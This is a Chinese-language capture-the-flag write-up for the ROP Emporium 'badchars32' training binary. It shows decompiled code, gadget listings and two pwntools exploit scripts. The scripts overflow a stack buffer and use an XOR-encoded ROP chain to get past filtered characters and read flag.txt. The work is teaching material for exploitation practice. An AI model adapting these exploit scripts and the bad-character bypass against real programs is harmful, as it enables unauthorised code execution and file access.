ROP Emporium badchars32 wp

wp

1 IDA进行分析发现溢出函数

1、溢出函数
int pwnme()
{
  unsigned int v1; // [esp+0h] [ebp-38h]
  unsigned int i; // [esp+4h] [ebp-34h]
  unsigned int j; // [esp+8h] [ebp-30h]
  char v4[36]; // [esp+10h] [ebp-28h] BYREF
​
  setvbuf(stdout, 0, 2, 0);
  puts("badchars by ROP Emporium");
  puts("x86\n");
  memset(v4, 0, 0x20u);
  puts("badchars are: 'x', 'g', 'a', '.'");
  printf("> ");
  v1 = read(0, v4, 0x200u);
  for ( i = 0; i < v1; ++i )
  {
    for ( j = 0; j <= 3; ++j )
    {
      if ( v4[i] == badcharacters[j] )
        v4[i] = -21;
    }
  }
  return puts("Thank you!");
}

2 分析可以利用函数

2、可以利用函数
int __cdecl print_file(char *filename)
{
  char s[33]; // [esp+Bh] [ebp-2Dh] BYREF
  FILE *stream; // [esp+2Ch] [ebp-Ch]
​
  stream = fopen(filename, "r");
  if ( !stream )
  {
    printf("Failed to open file: %s\n", filename);
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  return fclose(stream);
}
​
​
.plt:080483D0
print_file=0x80483d0
​
测试溢出点:
python2 -c "print 'a'*44+'\xd0\x83\x04\x08'"|./badchars32
返回文件不对
溢出点可用。

根据题目提示,需要使用print_file函数读取flag.txt文件。

3 checksec一下

# checksec badchars32
[*] '/home/wdp/Desktop/pwn/rop/badchars32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  b'.'
​

开启nx堆栈不可执行。

4 分析题目基本思路

(1)通过栈溢出获取print_file函数的执行

(2)修改print_file函数的filename值为“flag.txt”

(3)开启nx需要构造ROP链完成

(4)查看可写段,.data段

(5)将“flag.txt”写入.data段,可以分两次写入,因此需要pop;pop;ret与mov ;ret链

(6)在pwnme函数中,写入数据会做字符检查"badchars are: 'x', 'g', 'a', '.'",需要绕过,使用简单的异或算法绕过

(7)编码绕过检查写入.data段后,再读取.data段中数据时,需要讲.data段中数据进行解码,再次做异或运算。因此需要pop;pop;ret与xor链。

(8)32位需要考虑堆栈平衡。

5 查看可写段

# readelf -S badchars32 | grep data
  [16] .rodata           PROGBITS        080485d8 0005d8 000014 00   A  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  data_addr=0x0804a018
  

6查找ROP链

# ROPgadget --binary badchars32 --only "mov|pop|ret|xor"
Gadgets information
============================================================
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1
0x08048547 : xor byte ptr [ebp], bl ; ret
​
Unique gadgets found: 12
​
可用ROP 写入
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
​
解码xor可用ROP
0x080485bb : pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret
​
地址
pop_esi_edi_ebp=0x080485b9
mov_edi_esi=0x0804854f
​
pop_ebp=0x080485bb
pop_ebx=0x0804839d
xor_ebp_bl=0x08048547
​
​

exp1

exp
​
from pwn import *
p = process('./badchars32')
e = ELF('./badchars32')
​
print_file=0x80483d0
data_addr=0x0804a018
pop_esi_edi_ebp=0x080485b9
mov_edi_esi=0x0804854f
​
pop_ebp=0x080485bb
pop_ebx=0x0804839d
xor_ebp_bl=0x08048547
​
​
#encode
badchars=['x','g', 'a', '.']
xor_byte=0x1
flag="flag.txt"
while 1:
        flag_file=""
        for f in flag:
                f=ord(f)^xor_byte
                if chr(f) in badchars:
                        xor_byte+=1
                        break   
                else:
                        flag_file+=chr(f)
        if len(flag_file)==8:
                break
print(flag_file)
"""
for i in flag_file:
        i=ord(i)^xor_byte
        print(chr(i))
"""
#write
write_flagfile=p32(pop_esi_edi_ebp)+flag_file[:4].encode()+p32(data_addr)+p32(0x0)+p32(mov_edi_esi)
write_flagfile +=p32(pop_esi_edi_ebp)+flag_file[4:8].encode()+p32(data_addr+4)+p32(0x0)+p32(mov_edi_esi)
​
#decode
for i in  range(len(flag_file)):
        write_flagfile+=p32(pop_ebp)
        write_flagfile+=p32(data_addr+i)
        write_flagfile+=p32(pop_ebx)
        write_flagfile+=p32(xor_byte)
        write_flagfile+=p32(xor_ebp_bl)
​
​
payload=b'a'*44+write_flagfile+p32(print_file)+p32(0x01)+p32(data_addr)
​
p.recvuntil('>')
p.sendline(payload)
p.interactive()
​
在执行时报错误:[*] Got EOF while reading in interactive
经过测试发现,写入栈数据太长,造成栈错误,因此减少写入数据。

exp2

exp:
from pwn import *
p = process('./badchars32')
e = ELF('./badchars32')
​
print_file=0x80483d0
data_addr=0x0804a018
pop_esi_edi_ebp=0x080485b9
mov_edi_esi=0x0804854f
​
pop_ebp=0x080485bb
pop_ebx=0x0804839d
xor_ebp_bl=0x08048547
​
​
#encode
badchars=['x', 'g', 'a', '.']
xor_byte=0x1
flag="flag.txt"
while 1:
    flag_file=""
    index=[]
    i=0
    for f in flag:
        if (f in badchars):
            c=ord(f)^xor_byte
            if chr(c) in badchars:
                xor_byte+=1
                break
            else:
                #print(chr(c))
                index.append(flag.index(f))
                flag_file+=chr(c)
        else:
            flag_file+=f
    if len(flag_file)==8:
        break
#print(flag_file)
#print(index)
​
#write
write_flagfile=p32(pop_esi_edi_ebp)+flag_file[:4].encode()+p32(data_addr)+p32(0x0)+p32(mov_edi_esi)
write_flagfile +=p32(pop_esi_edi_ebp)+flag_file[4:8].encode()+p32(data_addr+4)+p32(0x0)+p32(mov_edi_esi)
​
#decode
for i in index:
    write_flagfile+=p32(pop_ebp)
    write_flagfile+=p32(data_addr+i)
    write_flagfile+=p32(pop_ebx)
    write_flagfile+=p32(xor_byte)
    write_flagfile+=p32(xor_ebp_bl)
​
​
​
payload=b'a'*44+write_flagfile+p32(print_file)+p32(0x0)+p32(data_addr)
​
p.recvuntil('>')
p.sendline(payload)
p.interactive()
​
[+] Starting local process './badchars32': pid 127295
[*] '/home/wdp/Desktop/pwn/rop/badchars32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  b'.'
​
[*] Switching to interactive mode
 Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
​
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值